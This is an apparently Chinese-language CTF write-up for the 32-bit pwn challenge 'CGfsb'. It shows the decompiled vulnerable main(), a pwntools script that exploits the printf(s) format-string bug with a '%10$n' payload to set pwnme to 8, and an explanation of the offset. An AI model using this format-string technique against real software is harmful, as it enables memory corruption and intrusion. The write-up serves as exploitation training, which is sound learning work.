例行检测
file CGfsb
checksec CGfsb
反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
__int16 v5; // [esp+26h] [ebp-76h]
char s[100]; // [esp+28h] [ebp-74h] BYREF
unsigned int v7; // [esp+8Ch] [ebp-10h]
v7 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf[0] = 0;
buf[1] = 0;
v5 = 0;
memset(s, 0, sizeof(s));
puts("please tell me your name:");
read(0, buf, 0xAu);
puts("leave your message please:");
fgets(s, 100, stdin);//真的是说到曹操曹操到,今天刚被教练提了一嘴这个函数,总之,见到它确实有被失望到
printf("hello %s", (const char *)buf);
puts("your message is:");
printf(s);//有的题解这一行反编译出来是printf(&a),感觉有被不公平到。这一行但凡直接写成printf(&a),也算是个友好题,因为这样写第一反应是printf("字符串")感觉无比正常
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
攻击代码
from pwn import *
r = remote('ip', num)
pwnme_addr = 0x00000000//这个以IDA显示的pwnme地址编号为准
payload = p32(pwnme_addr) + b'aaaa' + b'%10$n'
r.recvuntil("please tell me your name:\n")
r.sendline('abcdef')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()
本题思路
-
printf()中%n可以改变其他变量值,往给定的地址中写入“%n”前面的字符个数。如果是英文则一个字符一个字节,中文包括中文标点则是一个字符两个字节。
-
如果没有参数,但是规定了偏移量,则从格式字符串开始的地方往下数偏移量个内存块快(也就是第偏移量个参数的内存处),然后读取这个作为参数。
-
%n需要的参数是一个地址,所以直接在s上写入我们需要修改的变量的地址,再想办法(办法就是偏移量)让这个地址成为%n的参数,把这个地址对应的值改变成我们想要的8。
-
我们找到的pwnme的地址p32一下以后是4位的,但是我们需要一个“%n”数出来是8的字符串,所以给它再加4个字符。
-
偏移量的测试如下:
可见我们输入的s是printf( )的“第10个参数”,也就是偏移量是10。“第10个参数”的意思是,如果print()有参数,那么第10个参数对应的内存位置就是这个s字符串现在(没有参数的情况下)被存储的位置。显而易见,之所以这样用偏移量任意读取内存,是因为print()没有检查参数的个数。